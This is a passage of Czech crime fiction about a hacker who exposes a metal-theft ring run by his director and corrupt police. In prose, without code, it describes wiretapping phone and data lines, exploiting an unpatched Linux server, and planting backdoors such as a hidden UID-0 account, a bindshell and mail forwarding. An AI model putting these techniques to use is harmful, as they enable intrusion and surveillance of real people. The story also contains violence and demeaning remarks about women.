ruce. Nakonec si nechal Kevin kancelář ředitele, která byla úplně na konci chodby. Vešel do kanceláře sekretářky, která jej již očekávala. "Můžete jít dál, pan ředitel tady není", řekla Kevinovi. Kevin vešel do známé kanceláře, ale tentokrát tady byl úplně sám. Uviděl poloprázdný odpodkový koš, a náhle se v něm opět probudil hacker. Místo aby těch několik papírů hodil do velkého koše s odpadem, všechny je nastrkal do kapsy a odešel klidně pryč. Pak si v klidu prohlédl, co vlastně ředitel hodil do koše. Pouze dva papíry byly zajímavé. Na jednom byl seznam pracovníků, kteří budou tento rok propuštěni, a tam Kevin samozřejmě nechyběl. Druhý byl pro Kevina mnohem zajímavější. Místní informatik tam řediteli oznamoval pravidelnou změnu hesla, pro vzdálený přístup k jeho počítači přes modem z domova. Neuvěřitelné! Takové věci házet do koše se nevyplácí. Kevin se již těšil domů až pustí počítač a pořádně prozkoumá ředitelův stroj. Okamžitě po příchodu do svého útulného bytečku, spustil Kevin svůj starší počítač s procesorem AMD K5 75 a 24 MB Ram. Nastartuje Windows 98 a spustí software pro dálkový přístup. Informatik pro jistotu řediteli napsal i telefonní číslo, takže i to Kevin znal. Jeho modem již toto číslo vytáčí. Následně zadá jméno a heslo, které nalezl v odpadcích, a téměř okamžitě vidí celý ředitelův disk. Postupně prohlíží všechny složky, až narazí na adresář s názvem FunTom. K čemu potřebuje ředitel posílat SMS po telefonní lince? Na ředitelově stole si všiml modemu Microcom, takže toto software tady funguje. Tento program totiž umožňuje posílat SMS zprávy i po pevné lince, a to pouze ve spolupráci s těmito modemy. Kevin složku okamžitě prozkoumá a zjistí, že ředitel opravdu esemesky hojně posílá právě pomocí tohoto pragramu. Program si udržuje databázi, takže Kevin vidí všechny odeslané zprávy včetně telefonních čísel, na které byly odeslány. Kevin je šokován, co vlastně ten ředitel odesílá za zprávy. Kevin zjistil, že ředitel je ve spojení s organizovanou skupinou zlodějů barevných kovů a podával jim informace, které úseky vzdušného vedení mohou ukráct, aniž by byli dopadeni. Jde o to, že toto nadzemní vedení se postupně nahrazuje kabelem a odpojuje se postupně. Kdyby zloději začali kráct ještě funkční vedení, tak ochranná linka, která hlídá celistvost vedení by okamžitě signalizovala poruchu a vyjela by pohotovost, která by zloděje uviděla. Proto se tak rychle toto vedení krade. Sám ředitel, který dohlíží na celou akci má dvě tváře. Ono jde o velké peníze, protože deset kilo bronzu stojí asi pět set korun. To je přibližně drát, dlouhý asi padesát metrů, což je přesně jedno pole mezi sloupy. Těchto drátů je tam asi třicet, takže jedno pole, které se dá ukráct za necelých patnáct minut příjde na patnáct tisíc korun. Celý úsek vzdušného vedení měří asi šedesát kilometrů, takže obsahuje asi 1200 polí. Jednoduchou matematikou zjistíme, že hodnota tohoto bronzu je asi osmnáct miliónů korun. I když měl Kevin před připojením do ředitelova počítače divné pocity, tak po zjištění těchto šokujících informací se sám pro sebe hlasitě zasmál. "To je úlovek!" Řekl hlasitě Kevin a již přemýšlí, jak s těmito kompromitujícími informacemi naloží. "Ohlásit to policii, a tím se řediteli ještě jednou pomstít za svoje ponižující přeřazení na jinou práci?" Myslí nahlas Kevin. Musí nejdříve zjistit, komu vlastně tento "ředitel" volá, co je to za organizovanou skupinu zlodějů, no prostě si musí zahrát na soukromého detektiva. Kevin se pro jistotu jestě jednou připojí a všechno zaloguje do souboru, aby měl alespoň nějaký hmatatelný důkaz, že ředitel je zloděj. Pak vyběhne ven a zatelefonuje z nejbližší telefonní budky na číslo objevené v ředitelově počítači. Ozval se pouze mužský hlas a osoba na druhé straně se nijak nepředstavila. Takže okamžitě zavěsil telefon, musí na to jinak. Jak zjistit identitu někoho, jestliže znáte jeho číslo mobilu? Je to dost tvrdý oříšek v případě, když takový člověk používá předplacenou službu, protože ta je anonymní a nikdo jeho pravé jméno nezná. Musí se použít nějaká lest, a vylákat tak z oběti tyto klíčové informace. Ale osud to zařídil sám. Jednou, když Kevin opět uklízel nějaké kanceláře, uviděl na chodbě dva uniformované policisty, kteří jdou ke dveřím kanceláře ředitele. Najednou Kevina napadla geniální myšlenka. "Co když to číslo patří jednomu z nich?" Pomyslí si Kevin. Rychle vejde do kanceláře sekretářky, a začne předstírat úklid. Mladá, ne příliš hezká úřednice se na Kevina usměje a povídá. "Vy už jste tady zase?" "Ale ano, úklidu není nikdy dost" lže účelově Kevin, i když má v podstatě také pravdu. "Co se tady stalo, že jsou tady policajti?" Zeptá se Kevin sekretářky. "Ale zase ukradli asi kilometr bronzového drátu". Odpoví klidně sekretářka. "Teď a nebo nikdy" řekne si Kevin. Nechal si k tomuto účelu aktivovat skrytí svého čísla, a teď pouze čeká až policajti vyjdou ven z kanceláře. Netrvá to dlouho a vyjdou oba ven. Kevin se k nim přidá a jde několik kroků za nimi. Má již připravené hledané číslo na svém mobilu, a proto pouze stiskne tlačítko YES. Stane se přesně to, co očekával. Jednomu policajtovi začne zvonit mobil. Kevin počká, až fízl řekne prosím a okamžitě zavěsí. Ten následně několikrát do mikrofonu zakřičí nervózně halóó a zasune mobil zpět do kapsy. Kevin je ještě chvilku sleduje, a stačí si ještě opsat číslo jejich auta, které k jeho velkému překvapení nebylo služebním policejním vozidlem. Právě začíná první letní měsíc v roce a Kevinovi se příliš nechce pracovat. Každý den vstávat do práce, je především v letních měsících velká otrava. Tu umocňuje ještě letní čas, který způsobuje, že se chodí za světla spát, a za světla se také chodí do práce. Na Kevina opět dolehla nepříjemná melancholie, která jej provází téměř celý jeho život. Je to velmi nepříjemná nemoc, na kterou zemřela například manželka Petra Voka, známá Kateřina z Ludanic. Melancholie je starší název pro deprese, což je mnohem známější především v současnosti. Navíc, Kevinův ředitel velmi litoval, že ho vůbec do práce přijal. Kevin před ním zatajil, že je hacker, který má velmi pestrou minulost, i když v podstatě nic neprovedl. Pouze tímto způsobem odhalil ještě vetší zločince, kterými bobužel pro Kevina byli policajti. V polovině června přišlo další nepříjemné překvapení. Kevin byl vyslán spolu s několika dalšími pracovníky na montáž strukturované kabeláže. Jednalo se o obrovskou akci, která měla trvat několik měsíců. Několika podlažní panelák již čekal na nové telefonní a datové rozvody. Strukturovaná kabeláž je velmi dobrá věc, ale pouze když je hotová. V minulosti se telekomunikační rozvody dělaly tak, že do zdi se zadělaly trubky, do kterých se následně nastrkaly dráty nebo tenké telefonní kablíky. Vše se pak ukončilo v nějaké rozvodné telefonní skříňce. Podobné uspořádání mělo nevýhodu v tom, že bylo nepřehledné a případné změny konfigurace byly poměrně pracné, protože se musely hledat různé přívody. Nehledě na to, že celý systém nebyl připraven na přenosy dat prostřednictvím počítačových sítí. Právě strukturovaná kabeláž tyto problémy řeší. Všechny koncové krabičky jsou přesně číslované, a toto číslování se opakuje také v tzv. Racku, který kromě jednoduchého propojování umožňuje také zapojení aktivních síťových prvků, jako například routery aj. Samozřejmostí je také možnost ukončení optických kabelů. Díky tomu, lze celý rozvodný systém konfigurovat z jednoho místa. K propojení se používají speciální americké kablíky, které se jmenují Beldeny, a jsou schopny díky své speciální konstrukci přenášet i vysokou frekvenci, která se používá v počítačových sítích. To je sice hezké, ale nejhorší je všechno udělat. Jedná se o pravou a nefalšovanou nádeničinu v oboru informačních technologií. Několika podlažní panelák vypadal hrozivě. Dlouhé široké chodby plné kanceláří, mohutné zdi, které byly betonové i zděné, ale většina kabelů se stejně natahovala prostřednictvím nadhledů, které tvořily stropy v celé této gigantické budově. Právě plechové nadhledy představují strašnou věc. Jdou velmi špatně odstranit, a ještě hůře vrátit zpět. Nehledě na to, že pod každým byla nepříjemná skelná vata, která tvořila část tepelné izolace celého objektu. Pomocí těchto nadhledů se prostrkávalo obrovské množství kabelů do všech místností. V každém rohu se těsně u okna provrtala díra, kterou se kabely prostrčily dolů, kde se na zeď připevnila koncová očíslovaná krabička pro připojení telefonů, počítačů, faxů nebo ISDN zařízení. Každý pracovník měl svoje štafle a neustále lezl dolů a nahoru, demontoval nadhled, prostrčil kabely nebo vyvrtal otvory pro ukončení kabelů. Takto se pracovalo až 15 hodin denně, čtyři dny v týdnu, a to vše v horkých letních dnech. Když se konečně přiblížil čtvrtek odpoledne, tak Kevin už byl dávno rozhodnut - toto byla poslední práce, kterou u tohoto podniku udělal. Končí! Nebude tady dělat jako otrok za pár korun. V pondělí ráno navštíví lékaře a předstírá nemoc. Měl ale štěstí, protože doktora zde zastupoval jiný lékař, který neschopenky rozdával na počkání. Sotva Kevin vešel do dveří, už na něho doktor kříčí "Sestro pište mu neschopnost". Kevin za chvilku odchází s týdenní neschopenkou, která v těchto dnech velmi potěší, protože začíná být pěkné horko a jak se říká, "mladý ital v létě nedělá". Kevinovi je to jedno, protože informace, které proti řediteli má může klidně použít v případě, že bude mít nějaké řeči, že nechce pracovat. Kevina těžko může bez udání důvodu propustit, protože jsou zde silné odbory, které něco podobného nepřipustí. Navíc, u státního podniku je úplně jiná atmosféra než u soukromé firmy. Tady platí stále komunistické zásady, že každý má nad sebou nějakého nadřízeného, kterého musí poslouchat, takže nikdo si nechce dělat žádné problémy. Jestliže tedy Kevin nedělá nic nezákonného, tak si ho nikdo nevšímá. Ráj na zemi Kevin si prostě udělal takové malé prázdniny. Jezdil autem po světě, bydlel v luxusních hotelích, no prostě užíval si svobodného života. Kdykoli si vzpoměl na práci ve strašném paneláku, tak ztratil jakoukoli chuť vrátit se do práce. Když už jej přestalo bavit užívat slastného pocitu svobody, vrátil se zpět do svého bytu a pustil po delší době svůj počítač. Již dlouho nehackoval a cítil, že musí něco začít skenovat. Přes ssh se připojil na jeden zapadlý linuxový server, kde již má roota asi dva roky. Má zde mnoho užitečných nástrojů, včetně programu Nmap, kterým zkusí něco skenovat. Skenuje asi hodinu a výsledek si ukládá do souboru, který později pořádně prozkoumá. Teď vypne počítač a jde se podívat na balkón. Najednou uvidí přijíždět před jeho panelák známé auto, ve kterém poznal policajta, který byl u ředitele v souvislosti s krádeží bronzového drátu. "Snad nejde za mnou" pomyslí si Kevin. Policajt vejde do domu a Kevin okamžitě vyběhne ven. Policajt již jede výtahem a míjí Kevinovo podlaží. Výtah se zastaví o patro výš. Kevin vyběhne pár schodů a uvidí policajta jak otevírá klíčem svůj byt. "No to je tedy bomba! On tady také bydlí". Pomyslí si Kevin a je opět ve svém živlu. Musí zjistit jeho jméno, což není žádný problém, stačí si přečíst jméno na dveřích. V telefonním seznamu najde jeho číslo pevné linky, takže má další klíčové údaje. Ještě si ověří číslo v praxi, a to tak, že vezme svůj mobil s aktivovanou funkcí skrytého čísla a těsně za dveřmi policajta vytočí jeho číslo. I když bude mít policajt digitální linku ISDN, tak jeho číslo neuvidí. Slyší zvonit jeho telefon, takže má jistotu. Kevin jde do sklepa a sebou vezme přenosný telefon. V dokumentaci vyhledá jeho číslo a připojí se na linku s odpojeným mikrofonem. V tomto případě telefon nevytvoří smyčku, takže tím neblokuje příchozí ani odchozí hovory a může bez problémů odposlouchávat všechny hovory, aniž to účastníci poznají. Na lince není slyšet nic, takže se jedná o klasickou analogovou linku. Kdyby totiž měl policajt přípojku ISDN, tak na lince po připojení analogového telefonu uslyší pouze chrčení digitálních impulsů, takže klasickými analogovými telefony není možné provádět odposlech. Kevin si ovšem všiml další zajímavosti. Do stejného telefonního kablíku, do kterého odchází policajtova telefonní linka, odchází také další pevná linka, na které je ovšem slyšet pouze chrčení digitálních impulsů, takže se jedná pravděpodobně o pevnou linku pro přístup k internetu. To se musí ověřit. I na to má Kevin dostatek prostředků. Na svůj notebook připojí speciální PC kartu, která má dva přívody a dva odchody. Na okamžik linku rozpojí pomocí speciálního konektoru, který má na konci také čtyři vývody, které postupně připojí do karty tak, že linka je opět celá, ovšem s tím rozdílem, že jde přes Kevinův notebook. Tento harwarový nástroj se používá pro odposlech digitální datové komunikace v terénu. Ovládací software pracuje v prostředí Windows 98 a zachytí každou komunikaci. Funguje to podobně jako klasický sniffer. Kevin měl štěstí, protože policajt právě surfuje v internetu. Kevin samozřejmě nestačí online sledovat všechna data, která se na obrazovce notebooku objevují, ale naštěstí se vše ukládá do souboru. Kevin to poznal podle html hlaviček, kterými začíná každá komunikace. Ta se občas zastaví, takže Kevin může data online číst. Kdyby se policajt připojil třeba do banky, byla by komunikace šifrovaná a Kevin by v tomto případě nic nepřečetl. Stále si ovšem není jist, že tato pevná linka vede opravdu do policajtova bytu. Musí to nějak zjistit. Náhle ho napadla naprosto jednoduchá myšlenka. Jestliže má zaregistrovanou vlastní doménu, což je v tomto případě velmi pravděpodobné, mohou všechny serverové programy fungovat na jeho počítači v jeho bytě, včetně třeba poštovního serveru a dalších. Kevin se proto rychle vrátí do svého bytu, spustí počítač a připojí se do světové pavučiny pomocí svého modemu. Pak zkusí do prohlížeče napsat www adresu s policajtovo jménem - a má to! Pomalu se začíná načítat obsah jeho stránky. Kevin najde jeho kontaktní email a odešle na něj nějaký text. Pak se odpojí z internetu a rychle běží zpět do sklepa a opět rychle zkontroluje zachycená data. Samozřejmě, že data prošla přes Kevinův notebook, takže je všechno jasné. Všechno rychle vrátí do původního stavu a jde domů zkusit skenovat policajtův server. Nastartuje hackerskou distribuci Linuxu a spustí Nmap. Kevin je opět šokován - policajt používá linuxový server! Okamžitě se připraví k útoku! Začne zkoušet exploitnout nějaké starší chyby v sendmailu a v Bindu. Policajt používá velmi starou distribuci Linuxu RedHat 3.0 a vůbec nepoužíval záplaty na programy. Navíc skenerem zjistil, že na serevru je několik podezřelých otevřených portů, například 31337 nebo 5002, což hodně připomíná backdoory. Kevin proto spustí Telnet a připojí se na jeden podezřelý otevřený port a jeho myšlenka se potvrdila. Rychle zkusí zadat příkaz Whoami, ale dostane pouze chybové hlášení. Proto zkusí za příkazem zadat středník a nyní již dostane odpověď, kterou očekával. Ale rootem není, takže zkusí Sudo a příkaz Su a vyzkouší nějaká standardní hesla. Do adresáře /tmp si zkopíruje passwd a pomocí Ftp je přenese na svůj počítač, a pak se odpojí z internetu. Soubor si otevře v editoru Vi a prohlédne si policajtův /etc/passwd. Nevidí nic podezřelého a UID nula má pouze superuživatel root, takže nic. Zkusí tedy spustit John the Ripper, jestli nerozluští heslo roota. Jak se ovšem dalo očekávat, tak ani pomocí worldlistu a režimu single nic nerozluštil. Již se blíží třetí hodina ranní a Kevinovi dnes končí neschopnost. Zítra musí opět k lékaři a nějak to udělat, aby neschopenku prodloužil. Jde proto spát, policajtův server zkusí nabourat zítra, ale jedno ví jistě - do práce určitě nepůjde! Druhý den jde opět k lékaři a pokusí se prodloužit si neschopnost. Zastupující lékař je evidentně nervózní z toho, že musí ošetřovat pacienty, kteří stejně většinou pouze simulují. "Tak už je vám lépe?" Zeptá se doktor Kevina. "Ale stále to není ono" Odpoví nejistě Kevin. "Mám nějaké deprese a dokonce jsem se včera pokoušel o sebevraždu, nevím co mám dělat" -lže Kevin, ale v podstatě má pravdu, protože jeho duševní stav opravdu není ideální. Sestra, která sedí proti doktorovi okamžitě reaguje a jde se podívat, kdy ordinuje psychiatr, který ma ordinaci hned vedle. "Dnes je tady, ale až od patnácti hodin" řekla sestra. Doktor na její radu tedy Kevina přeřadil do péče psychiatra, ale co je důležité, neschopnost mu ponechal. Ve tři hodiny již Kevin nervózně přešlapuje před ordinací psychiatra a čeká, až na něho přijde řada. Tady ovšem není jako u praktického lékaře, který píše neschopenky. Tady je každý pacient v ordinaci minimálně hodinu, protože musí pacienta nejdříve poznat, protože ten většinou popisuje pouze svoje pocity, na základě kterých doktor určí diagnózu. Kevin měl štěstí, protože narazil na opravdu výborného psychiatra, který Kevinovi napsal lék na míru. To ovšem Kevin neví, protože je tady za úplně jiným účelem - potřebuje prodloužit neschopnost. To se mu také podaří a dokonce tak, že doma bude dva měsíce, a navíc má povolené neomezené vycházky. "Prázdniny" začínají! Kevin si urychleně vyzvedne nějaké záhadné léky, kterým stejně moc nevěří a jde domů dokončit hack policajtova serveru. Kevin se pokusí dostat do systému pomocí jednoho staršího exploitu, který určitě bude fungovat na této starší distribuci Linuxu. Ten se pokouší oklamat program /bin/su, který pak po uživateli nepožaduje heslo roota. Kevin tedy již přeložený exploit přenese pomocí Ftp na policajtův stroj do adresáře /tmp. Nastaví mu práva 755 a spustí. Jeho shell se změní na "#" a Kevin ví, že má UID nula. Pro jistotu ještě zadá příkaz Whoami, který jeho myšlenku pouze potvrdí. Kevin nejdříve instaluje několik backdoorů, aby měl jednoduchý přístup do shellu kdykoli v budoucnu. Jeho oblíbený backdoor je přídání uživatele "showmount" do passwd kterému nastaví ručně UID nula. Přidá jej do horní části /etc/passwd, kde většinou nikdo po zadních vrátkách nepátrá. Ještě pro větší jistotu přesměruje shell na jeden tajný port, pomocí bindshellu, takže nemusí měnit soubor /etc/inetd.conf. Stále mu ale vrtají hlavu ty dva backdoory, z nichž jeden byl na portu 31337, který Kevin velmi dobře zná. Pak si však uvědomí, že policajt má také syna, který se pravděpodobně v Linuxu vrtá, možná bude také hackovat. Což je ovšem špatné, protože by jeho utilitky určitě objevil. Kevin je sice nastrkal do /usr/lib, takže tady se těžko někdo bude hrabat, když ještě navíc jeho nástroje mají vetšínou stejnou příponu jako zde uložené systémové knihovny. Vlastně na systému konfiguraci nijak zvlášť nezměnil, pouze passwd, ale v jeho horní části se stejně nikdo moc nevrtá, protože tu vytvoří systém během instalace Linuxu, takže tomu každý důvěřuje. Dále Kevin najde adresář uživatele, kterého používá policajt pro komunikaci s okolím a vytvoří v něm soubor .forward. Napíše do něho dvě jména, jedno přihlašovací policajta a další svůj tajný email, na který také pošta přijde. Tím bude Kevin monitoravat veškerou jeho mailovou komunikaci. Navíc má Kevin přesměrovány kopie těchto mailů také na svůj mobil, takže bude okamžitě informován o každé komunikaci policajta. Monitorovací systém má Kevin připraven a může tím vstoupit do další fáze své osobní kybernetické války. Netrvá to dlouho a jeho Ericsson mu čtyřikrát za sebou pronikavě pípne. Kevin již ví, že mu přišel email. Úvod zní velice nadějně "Dnes v noci jdeme do toho dvora pro ty kabely, takže chceme mít klidou noc..." Další informace již mobil nesdělil, a tak Kevin rychle spěchá spustit počítač a stáhnout celý mail. Po stažení pošty se ovšem nedozvěděl nic nového, protože email tímto končil. Do jakého dvora vlastně jdou? Ve dvoře, kde Kevin pracuje si všiml obrovského množství velkých kabelových cívek, na kterých bylo namotáno obrovské množství kabelů, které měli pochopitelně měděné vodiče. Že by tam? Nelze to vyloučit, protože ředitel se pochopitelně s policajtem zná, a navíc objekt není nijak zabezpečen, areál nemá žádného vrátného, takže ideální i pro méně otrlé lupiče. Náhle Kevinovi opět čtyřikrát pípne mobil, takže další email a opět pro policajta. Tentokrát jde opravdu o kapitální úlovek, protože ředitel píše policajtovi přímo z firemního počítače, takže Kevin má dokonce logy, což jsou skvělé důkazy proti řediteli. Po stažení celého mailu Kevin zjistil, že ten není pochopitelně šifrován a píše se v něm: "tohle bude naše poslední akce, ale za to hodně velká. Už jsme toho ukradly za pěkných pár miliónů, takže si musíme dát na pár měsíců přestávku". Tohle si Kevin nemůže nechat ujít. Kdo vlastě pro tyhle pohlaváry dělá špinavou práci? Kdo leze v noci přes plot a krade měď z kabelů? Objevil jsem opravdu hlavu chobotnice nebo policajt a ředitel jsou malé ryby? Ne, oni to určitě řídí. Ale kdo jim potom v noci krade? Musejí mít další kontakty na nějaké profesionální zlodějě, kteří pro ně pracují. Kevin jako správný skeptik si v duchu představuje ten nejhorší scénař, jaký je vůbec možný. Peklo na zemi Musí to vypátrat. V noci se tam vypraví a pokusí se je chytit. Těsně po západu slunce Kevin vyrazí. Svoje sportovní BMW zaparkuje v nedalekém hlídaném parkovišti a pomalu se vydá k ohradě podniku svého zaměstnavatele. Vybere si tiché místo s dobrým rozhledem a začne poslouchat všechny zvuky vycházející ze tmy. V ten den je zataženo a tma je jako v pytli. Náhle Kevin zahlédne světla přijíždějícího auta, které zastaví, a asi čtyři lidské postavy se blíží k ohradě směrem ke Kevinovi. Přelezou malou zídku a rychle se dají do práce. Přestože je tma, na kterou si již Kevinovi oči zvykly, vše vidí dost špatně. Přesto zřetelně slyší zvuky pohybujících se kabelových cívek a následné řezání. Pak to Kevin udělá a zakřičí: "ani hnout policie". Buhužel pro Kevina, zloději byli pouze převlení skuteční policajti, kteří když zjistili svoje odhalení, odhodili svoje pláště, pod kterými ukrývali policejní uniformy a vytáhli na Kevina pistole. Kevin je ztracen. Policajti ho chytí a odvezou na služebnu, kde ho obviní z krádeže barevných kovů, přestože skutečnými zloději jsou policajti, nikdo jeho tvrzení nebude věřit. Jenomže policajti moc dobře vědí, že Kevin toho ví příliš mnoho, a proto se jej musí zbavit. Jeden z nich navrhuje Kevina zastřelit. Buhužel pro Kevina na policejní služebně není nikdo, kde by se ho zastal. Kevin sedí u malého policejního stolu a nedaleko od něho se policajti dohadují o jeho osudu, takže Kevin slyšel několik návrhů svého budoucího osudu. Jeden z policajtů navrhoval Kevina odvést zpět na místo činu a zde jej zastřelit, protože ohrožoval jejich bezpečnost. "Ano, to by šlo" řekl jeden policajt. "Mám doma jednu starší neregistrovanou pistoli, kterou jsem těsně po revoluci koupil od ruských mafiánů za tři tisíce korun". "Nahrajeme tam scénu, že po nás střílel, a proto jsme ho zastřelili." "Ale na to není dost času" tvrdil další. Mluvili hlasitě, takže Kevin všechno slyšel a připadal si jako ve zlém snu. Čtyři zrůdní policajti naloží Kevina a odvezou na popravu. Mezitím se zastaví v bytě jednoho z nich, který vezme nelegální pistoli. Kevin hrůzou ani nedýchá. Policajti si ovšem nevšimli jedné maličkosti. Kevin měl neprůstřelnou vestu. Tu nosil pokaždé, když šel do nějaké nebezpečné akce. Ale co když jej střelí do hlavy? Pomyslí si s hrůzou Kevin a všiml si, že zrůdní ochránci zákona jsou dost nervózní. Přesto se zdálo, že něco podobného nedělají poprvé, protože si počínali celkem zkušeně. Jeden z nich dokonce řekl "střel ho jenom jednou, ne jako minule, což bylo dost podezřelé. Udělal si z něho řešeto. Jednu ránu měl v hlavě a dvě v plicích" žertovali policajti. "Pamatuješ, že to dost vyšetřovali proč má tolik ran? Naštěstí to byl náš člověk, takže se to nějak ututlalo." Kevin tento rozhovor slyšel, což ho mírně uklidnilo. Jestliže ho střelí do hrudi, tak tam má vestu. Konečně auto smrti zastavilo na místě popravy. Policajti vystoupí, sundají Kevinovi pouta a okamžitě začnou křičet stůj nebo střelím. Kevin začne pomalu couvat, když tmou zazní velká rána ze služební policejní pistole. Kevin ucítí na prsou úder jako by dostal ránu pěstí. Padne na zem a překlopí se na břicho. Policajti k němu rychle přiběhnou a položí vedle něho nelegální pistoli, ze které před tím jednou vystřelí do vzduchu, aby tím dokázali, že se pouze bránili útoku Kevina. Kevin leží na zemi a cítí, že začíná mírně pršet. Všichni čtyři policajti odejdou k autu, aby zavolali další posily a záchranou službu, která jak doufájí zavolá již pouze funebráky. Kevin si uvědomil, že v podobné situaci již jednou byl. Tenkrát si naivně myslel, že mu lékař pomůže, ale mýlil se - ten chtěl pomoci pouze svojí peněžence prostřednictvím Kevina a jeho ledviny. Nemůže rizkovat další problémy. Policajti jsou stále asi padesát metrů od něho. Neváhá ani minutu. Pomalu vstane a zaběhne za nedaleký roh velké haly. Pak běží asi tři sta metrů a dostane se k tramvajové zastávce, kde právě zastavuje linka městské dopravy. Okamžitě bez lístku nastoupí a jede směrem do centra města, kde také vystoupí. Má velmi málo času, a proto rychle běží do svého bytu a vezme si veškerou hotovost, kterou doma má, což je asi padesát tisíc korun. Pak rychle opustí svůj byt a vyjde do deštivého pozdního večera. Kevin je již jak zmoklá slepice, když se před ním objeví reklamní lákadlo v podobě nočního klubu. "Jasně, tam mě určitě hledat nebubou". Pomyslí si téměř hlasitě. Okamžitě vejde dovnitř. Poloprázný lokál plný červených lampiček působí docela příjemně, a proto si Kevin sedne k jednomu z mnoha volných stolů. U vedlejšího stolu sedí tři spoře oblečené mladé slečny, které se po příchodu Kevina začely nuceně smát. Okamžitě k němu přijde servírka s dotazem "Co to bude?". "No kromě nějaké slečny si dám také pivo". Odpoví suvereně Kevin. Kevin mrkne na jednu slečnu, která si k němu okamžitě přisedne. Byla mládá, ale okamžitě jak promluvila Kevin poznal, že to není češka. Podle přízvuku správně poznal ukrajinku, která ovšem nedělala na Kevina dobrý dojem, tvářila se totiž křečovitě, mluvila nuceně, takže Kevin okamžitě poznal, že tuhle práci dělá pod tlakem. Navíc byla hubená jako koza a takové holky nemá Kevin rád. Za to její kolegyně, která se stále hlasitě směje je mnohem zajímavější objekt. Mezitím ovšem servírka zapnula televizor, protože se přiblížil čas hlavního večerního televizního zpravodajství. Kevin zaostřil svůj zrak na televizor. V úvodním přehledu zazněla šokující informace. "Policie intenzivně pátrá po nebezpečném ozbrojeném pachateli". Pak mladá televizní hvezdička s umělým úsměvem začne přesvědčivě přesvědčovat celý národ, že Kevin je nebezpečný zločinec, který dokonce střílel po policajtech a je údajně ozbrojen. Ten zatím ovšem sedí v bordelu, žádnou zbraň nemá, kromě svého penisu. Policie uzavřela celé město a intenzivně pátrá po pachateli. "Pojď nahoru do pokoje" řekne Kevin ukrajince. Ta se okamžitě zvedne a zavede Kevina na pokoj. "Chci s tebou strávit celou noc" zeptá se Kevin. "Připrav si dvacet tisíc korun", odpověděla ukrajinka. Kevin vytáhne peníze a předá je bordel bábě. Pak se dveře za Kevinem zavřou. Je sám na pokoji s mladou ukrajinkou, ale to jej příliš nazajímá. Ta by se možná chtěla milovat, ale Kevin nemá na nic náladu. A tak pouze sedí a poslouchá tichou hudbu, která zním červenou místností. Ukrajinka náhle k němu přisedne a začne mu rozepínat kalhoty. Kevin se na ní otočí a povídá "zaplatil jsem si, že tady s tebou budu do rána. O sexu v této smlouvě není ani řeči. Nebo snad ano?" Vykřikne na šokovanou prostitutku Kevin. Ta si odsedne a mlčí. "Chci spát, a proto chci mít klid". Řekne rázně Kevin, svlékne se a lehne do vodní postele. "Jestli chceš, tak si lehni vedle mě a pojď také spát." Ukrajinka splní Kevinův rozkaz a lehne si nahá vedle Kevina. Ráno se Kevin probudí a vypadne z tohoto nočního klubu. Kevin se podívá na svoje hodinky, které ukazují přesně osm hodin. Banka je již otevřena, a proto Kevin spěchá vybrat zbytek svých peněz a doufá, že ještě policie nestihla jeho účet zablokovat. Má štěstí, protože celou hotovost dosnate zanedlouho bez problému v hotovosti. Teď je Kevin připraven na život uprchlíka, ale náhle si vzpomete na svoje auto, která nechal zaparkované nedaleko areálu svého zaměstnavatele. Okamžitě se tam vypraví a auto najde v pořádku zaparkované. Zdá se, že je rychlejší než policie. Nasedne do vozu a vyjede ven z města. Je to dost rizkantní, protože takhle ho mohou velmi snadno chytit. Určitě již policie zná jeho auto a zanedlouho ho začnou hledat. Náhle Kevinovi opět dvákrát krátce pípne mobil - přišel email. Už z jeho úvodu poznal, že ředitel píše policajtovi a ptá se, co se v noci vlastně stalo. Náhle Kevina napadl rizkatní nápad. Zkusí svůj příběh poslat někomu na ministersvo vnitra a doufat, že se někdo ozve, kdo tomu uvěří a pomůže. Minule tento problém řešil po svém, ale tentokrát to nemusí vyjít. Zkusí mnohem rafinovanější metodu. Asi na dvě stránky Wordu napíše svůj neuvěřitelný příběh a pošle ho na kontaktní email, který našel na oficiálních stránkách policie. Zajede proto do nejbližšího lesa, vyndá z kufru notebook, který jako správný hacker má stále připravený k činnosti. Asi za hodinu to Kevin zvládl, ale co teď? Jak se dostat k internetu? Ryhle vyndá svůj mobil Siemens, který obsahuje softwarový modem, propojí ho kabelem s notebookem a vyťuká přístupové číslo do internetu. Napojí se na stránky policie a začne rychle hledat nějaký kontaktní email, který za malou chvilku najde. Pak okamžitě spustí poštovního klienta a odešla na tuto adresu soubor se svým příběhem, a pak se odpojí. Přišel tím sice téměř o celý kredit, ale účel to splnilo. Teď nezbývá než čekat, že se někdo ozve dříve než ho policie zatkne. Kevin se v dopise ke všemu přizmal, dokonce i k hacku stránek tajné služby, což stále tvrdohlavě odmítal. Jenomže osud chtěl něco jiného. Mezitím policie vyhlásila pátrání po jeho autu, ve kterém Kevin stále jezdí. Kevin to v duchu tušil, ale nepřipouštěl si to. Vyjede z lesa a zamíří po okresní silnici s cílem zajet do nějakého vesniského penzionu a vydržet tam co nejdéle. K tomu ovšem musí vyjet na hlavní silnici a v tom okamžiku se to stalo. Kevin vyjel z lesa, a asi sto metrů před soubou uvidí na křižovatce stát policejní hlídku. Okamžitě zastaví a začne pomalu couvat. Buhužel, hlídka, která byla ozbrojena i samopalem jej uviděla a přijela k němu, kde byl následně identifikován jako hledaný zločinec. Mladý policista mu nasadil pouta, když mezitím přijely další policejní posily, které se postaraly o Kevinovo auto a jeho eskortu do policejní vazby. U předběžného výslechu Kevin mlčel a neodpovídal na žádný dotaz. Kevin byl umístněn na samotku, kde se jednoho dne stala neuvěřitelná událost. Do místnosti, kde seděl Kevin přišli čtyři policisté a začali Kevina bezdůvodně mlátit. Když skončili přišel jeho starý známý policajt, který bydlí vedle Kevinova bytu. "Tak budeš mluvit ty hajzle" osopil se na Kevin fízl. "Kdo ti pomáhal s těmi krádežemi?" křičel fízl. Kevin pochopil, že potřebují jeho přiznání, aby z toho byl on jeho ředitel venku, a proto hledají nějakého obětního beránka. "Fízl ke Kevinovi opět přistoupil a chtěl na něho opět křičet, když v tom náhle přišel další policajt a vzápětí všichni čtyři vyšli ven. Kevin zůstal opět sám. Netrvalo to ani pět minut, když přišel dozorce a odvedl Kevina do velké kanceláře, kde na něho již čekali jeho staří známí, kteří ho již vyslýchali v kanceláři ředitele v souvislosti s hackem stránek tajné služby. Mladá policiska, která se představila jako "specialistka na počítačovou kriminalitu" a malý tlustý policejní kapitán. Policistka vypadala jako většina žen v policejní uniformě. Drsné policejní prostředí, které má za následek zvýšenou aktivitu testosteronu v ženském organizmu se již nevratně podepsalo na jejím vzhledu, takže pouze podle sukně Kevin poznal, že se jedná o ženskou. Tlustý policajt začal. Podal Kevinovi papíry, na 